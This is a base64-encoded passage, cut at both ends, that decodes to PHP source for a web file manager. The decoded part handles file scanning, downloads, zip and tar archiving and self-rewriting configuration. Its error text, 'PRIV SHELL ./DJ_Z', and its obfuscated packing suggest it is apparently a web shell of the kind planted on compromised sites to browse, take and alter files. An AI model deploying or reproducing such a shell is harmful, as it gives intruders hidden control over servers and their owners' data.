XBlc1snaHRtbCddID0gWyd0ZXh0L2h0bWwnXTsNCiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dC9wbGFpbiddOw0KICAgIC8vVW5rbm93biBtaW1lLXR5cGVzIHNob3VsZCBiZSAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJw0KICAgIGlmKGVtcHR5KCRmaWxlVHlwZXNbJGV4dGVuc2lvbl0pKSB7DQogICAgICAkZmlsZVR5cGVzWyRleHRlbnNpb25dID0gWydhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nXTsNCiAgICB9DQogICAgcmV0dXJuICRmaWxlVHlwZXNbJGV4dGVuc2lvbl07DQp9DQoNCi8qKg0KICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlcw0KICogQHBhcmFtIHN0cmluZyAkZGlyDQogKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXINCiAqIEByZXR1cm4gYXJyYXl8bnVsbA0KICovDQogZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJykgew0KICAgICRwYXRoID0gRk1fUk9PVF9QQVRILicvJy4kZGlyOw0KICAgICBpZigkcGF0aCkgew0KICAgICAgICAgJGl0ZSA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCkpOw0KICAgICAgICAgJHJpaSA9IG5ldyBSZWdleEl0ZXJhdG9yKCRpdGUsICIvKCIgLiAkZmlsdGVyIC4gIikvaSIpOw0KDQogICAgICAgICAkZmlsZXMgPSBhcnJheSgpOw0KICAgICAgICAgZm9yZWFjaCAoJHJpaSBhcyAkZmlsZSkgew0KICAgICAgICAgICAgIGlmICghJGZpbGUtPmlzRGlyKCkpIHsNCiAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7DQogICAgICAgICAgICAgICAgICRsb2NhdGlvbiA9IHN0cl9yZXBsYWNlKEZNX1JPT1RfUEFUSCwgJycsICRmaWxlLT5nZXRQYXRoKCkpOw0KICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRmaWxlTmFtZSwNCiAgICAgICAgICAgICAgICAgICAgICJ0eXBlIiA9PiAiZmlsZSIsDQogICAgICAgICAgICAgICAgICAgICAicGF0aCIgPT4gJGxvY2F0aW9uLA0KICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgIH0NCn0NCg0KLyoqDQoqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsDQoqIG1heCBzcGVlZCwgaXMgc3RyZWFtaW5nDQoqIElmIHN0cmVhbWluZyAtIHZpZGVvcyB3aWxsIHNob3cgYXMgdmlkZW9zLCBpbWFnZXMgYXMgaW1hZ2VzDQoqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0DQoqIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8xMzgyMTk5Mi8xMTY0NjQyDQoqLw0KZnVuY3Rpb24gZm1fZG93bmxvYWRfZmlsZSgkZmlsZUxvY2F0aW9uLCAkZmlsZU5hbWUsICRjaHVua1NpemUgID0gMTAyNCkNCnsNCiAgICBpZiAoY29ubmVjdGlvbl9zdGF0dXMoKSAhPSAwKQ0KICAgICAgICByZXR1cm4gKGZhbHNlKTsNCiAgICAkZXh0ZW5zaW9uID0gcGF0aGluZm8oJGZpbGVOYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOw0KDQogICAgJGNvbnRlbnRUeXBlID0gZm1fZ2V0X2ZpbGVfbWltZXMoJGV4dGVuc2lvbik7DQoNCiAgICBpZihpc19hcnJheSgkY29udGVudFR5cGUpKSB7DQogICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpOw0KICAgIH0NCg0KICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7DQoNCiAgICBpZiAoJHNpemUgPT0gMCkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQoNCiAgICAgICAgcmV0dXJuIChmYWxzZSk7DQogICAgfQ0KDQogICAgQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7DQogICAgJGZwID0gZm9wZW4oIiRmaWxlTG9jYXRpb24iLCAicmIiKTsNCg0KICAgIGlmICgkZnAgPT09IGZhbHNlKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgICAgICByZXR1cm4gKGZhbHNlKTsNCiAgICB9DQoNCiAgICAvLyBoZWFkZXJzDQogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQogICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsNCiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQogICAgaGVhZGVyKCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnkiKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogJGNvbnRlbnRUeXBlIik7DQoNCiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnOw0KDQogICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICJNU0lFIikpIHsNCiAgICAgICAgJGZpbGVOYW1lID0gcHJlZ19yZXBsYWNlKCcvXC4vJywgJyUyZScsICRmaWxlTmFtZSwgc3Vic3RyX2NvdW50KCRmaWxlTmFtZSwgJy4nKSAtIDEpOw0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XCIkZmlsZU5hbWVcIiIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7DQogICAgfQ0KDQogICAgaGVhZGVyKCJBY2NlcHQtUmFuZ2VzOiBieXRlcyIpOw0KICAgICRyYW5nZSA9IDA7DQoNCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkFOR0UnXSkpIHsNCiAgICAgICAgbGlzdCgkYSwgJHJhbmdlKSA9IGV4cGxvZGUoIj0iLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTsNCiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCAiLSIsICRyYW5nZSk7DQogICAgICAgICRzaXplMiA9ICRzaXplIC0gMTsNCiAgICAgICAgJG5ld19sZW5ndGggPSAkc2l6ZSAtICRyYW5nZTsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMSAyMDYgUGFydGlhbCBDb250ZW50Iik7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoIik7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1SYW5nZTogYnl0ZXMgJHJhbmdlJHNpemUyLyRzaXplIik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxOw0KICAgICAgICBoZWFkZXIoIkNvbnRlbnQtUmFuZ2U6IGJ5dGVzIDAtJHNpemUyLyRzaXplIik7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiAkc2l6ZSk7DQogICAgfQ0KICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTsNCiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpOw0KICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pOw0KDQogICAgZmNsb3NlKCRmcCk7DQoNCiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpOw0KfQ0KDQovKioNCiAqIElmIHRoZSB0aGVtZSBpcyBkYXJrLCByZXR1cm4gdGhlIHRleHQtd2hpdGUgYW5kIGJnLWRhcmsgY2xhc3Nlcy4NCiAqIEByZXR1cm4gc3RyaW5nIHRoZSB2YWx1ZSBvZiB0aGUgIHZhcmlhYmxlLg0KICovDQpmdW5jdGlvbiBmbV9nZXRfdGhlbWUoKSB7DQogICAgJHJlc3VsdCA9ICcnOw0KICAgIGlmKEZNX1RIRU1FID09ICJkYXJrIikgew0KICAgICAgICAkcmVzdWx0ID0gInRleHQtd2hpdGUgYmctZGFyayI7DQogICAgfQ0KICAgIHJldHVybiAkcmVzdWx0Ow0KfQ0KDQovKioNCiAqIENsYXNzIHRvIHdvcmsgd2l0aCB6aXAgZmlsZXMgKHVzaW5nIFppcEFyY2hpdmUpDQogKi8NCmNsYXNzIEZNX1ppcHBlcg0Kew0KICAgIHByaXZhdGUgJHppcDsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpDQogICAgew0KICAgICAgICAkdGhpcy0+emlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkZmlsZW5hbWUsICRmaWxlcykNCiAgICB7DQogICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFKTsNCiAgICAgICAgaWYgKCRyZXMgIT09IHRydWUpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsNCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGRGaWxlT3JEaXIoJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmFkZEZpbGVPckRpcigkZmlsZXMpKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aCkNCiAgICB7DQogICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7DQogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHsNCiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGZpbGUvZm9sZGVyIHRvIGFyY2hpdmUNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEByZXR1cm4gYm9vbA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSkNCiAgICB7DQogICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkgew0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGZvbGRlciByZWN1cnNpdmVseQ0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkNCiAgICB7DQogICAgICAgIGlmICghJHRoaXMtPnppcC0+YWRkRW1wdHlEaXIoJHBhdGgpKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRGaWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCg0KLyoqDQogKiBDbGFzcyB0byB3b3JrIHdpdGggVGFyIGZpbGVzICh1c2luZyBQaGFyRGF0YSkNCiAqLw0KY2xhc3MgRk1fWmlwcGVyX1Rhcg0Kew0KICAgIHByaXZhdGUgJHRhcjsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpDQogICAgew0KICAgICAgICAkdGhpcy0+dGFyID0gbnVsbDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkZmlsZW5hbWUsICRmaWxlcykNCiAgICB7DQogICAgICAgICR0aGlzLT50YXIgPSBuZXcgUGhhckRhdGEoJGZpbGVuYW1lKTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgew0KICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7DQogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoJHRoaXMtPmFkZEZpbGVPckRpcigkZmlsZXMpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBFeHRyYWN0IGFyY2hpdmUgJGZpbGVuYW1lIHRvIGZvbGRlciAkcGF0aCAoUkVMQVRJVkUgT1IgQUJTT0xVVEUgUEFUSFMpDQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpDQogICAgew0KICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpOw0KICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIGZpbGUvZm9sZGVyIHRvIGFyY2hpdmUNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICAgICAqIEByZXR1cm4gYm9vbA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSkNCiAgICB7DQogICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpOw0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoDQogICAgICogQHJldHVybiBib29sDQogICAgICovDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGREaXIoJHBhdGgpDQogICAgew0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50YXItPmFkZEZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KfQ0KDQovKioNCiAqIFNhdmUgQ29uZmlndXJhdGlvbg0KICovDQogY2xhc3MgRk1fQ29uZmlnDQp7DQogICAgIHZhciAkZGF0YTsNCg0KICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkNCiAgICB7DQogICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7DQogICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwuJF9TRVJWRVJbIlBIUF9TRUxGIl07DQogICAgICAgICR0aGlzLT5kYXRhID0gYXJyYXkoDQogICAgICAgICAgICAnbGFuZycgPT4gJ2VuJywNCiAgICAgICAgICAgICdlcnJvcl9yZXBvcnRpbmcnID0+IHRydWUsDQogICAgICAgICAgICAnc2hvd19oaWRkZW4nID0+IHRydWUNCiAgICAgICAgKTsNCiAgICAgICAgJGRhdGEgPSBmYWxzZTsNCiAgICAgICAgaWYgKHN0cmxlbigkQ09ORklHKSkgew0KICAgICAgICAgICAgJGRhdGEgPSBmbV9vYmplY3RfdG9fYXJyYXkoanNvbl9kZWNvZGUoJENPTkZJRykpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG1zZyA9ICdQUklWIFNIRUxMIC4vREpfWjxicj5FcnJvcjogQ2Fubm90IGxvYWQgY29uZmlndXJhdGlvbic7DQogICAgICAgICAgICBpZiAoc3Vic3RyKCRmbV91cmwsIC0xKSA9PSAnLycpIHsNCiAgICAgICAgICAgICAgICAkZm1fdXJsID0gcnRyaW0oJGZtX3VybCwgJy8nKTsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJzsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj0iJyAuICRmbV91cmwgLiAnIj4nIC4gJGZtX3VybCAuICc8L2E+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRpZSgkbXNnKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTsNCiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHNhdmUoKQ0KICAgIHsNCiAgICAgICAgJGZtX2ZpbGUgPSBfX0ZJTEVfXzsNCiAgICAgICAgJHZhcl9uYW1lID0gJyRDT05GSUcnOw0KICAgICAgICAkdmFyX3ZhbHVlID0gdmFyX2V4cG9ydChqc29uX2VuY29kZSgkdGhpcy0+ZGF0YSksIHRydWUpOw0KICAgICAgICAkY29uZmlnX3N0cmluZyA9ICI8P3BocCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuICIvL0RlZmF1bHQgQ29uZmlndXJhdGlvbiIuY2hyKDEzKSAuIGNocigxMCkuIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7IiAuIGNocigxMykgLiBjaHIoMTApOw0KICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGZtX2ZpbGUpKSB7DQogICAgICAgICAgICAkbGluZXMgPSBmaWxlKCRmbV9maWxlKTsNCiAgICAgICAgICAgIGlmICgkZmggPSBAZm9wZW4oJGZtX2ZpbGUsICJ3IikpIHsNCiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7DQogICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykgew0KICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vLS0tIFRlbXBsYXRlcyBGdW5jdGlvbnMgLS0tDQoNCi8qKg0KICogU2hvdyBuYXYgYmxvY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqLw0KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkNCnsNCiAgICBnbG9iYWwgJGxhbmcsICRzdGlja3lfbmF2YmFyLCAkZWRpdEZpbGU7DQogICAgJGlzU3RpY2t5TmF2QmFyID0gJHN0aWNreV9uYXZiYXIgPyAnZml4ZWQtdG9wJyA6ICcnOw0KICAgICRnZXRUaGVtZSA9IGZtX2dldF90aGVtZSgpOw0KICAgICRnZXRUaGVtZSAuPSAiIG5hdmJhci1saWdodCI7DQogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7DQogICAgICAgICRnZXRUaGVtZSAuPSAiIG5hdmJhci1kYXJrIjsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZ2V0VGhlbWUgLj0gIiBiZy13aGl0ZSI7DQogICAgfQ0KICAgID8+DQogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgPD9waHAgZWNobyAkZ2V0VGhlbWU7ID8+IG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4iPg0KICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIj4gPD9waHAgZWNobyBsbmcoJ0FwcFRpdGxlJykgPz4gPC9hPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJuYXZiYXItdG9nZ2xlciIgdHlwZT0iYnV0dG9uIiBkYXRhLWJzLXRvZ2dsZT0iY29sbGFwc2UiIGRhdGEtYnMtdGFyZ2V0PSIjbmF2YmFyU3VwcG9ydGVkQ29udGVudCIgYXJpYS1jb250cm9scz0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtbGFiZWw9IlRvZ2dsZSBuYXZpZ2F0aW9uIj4NCiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+DQogICAgICAgIDwvYnV0dG9uPg0KICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXI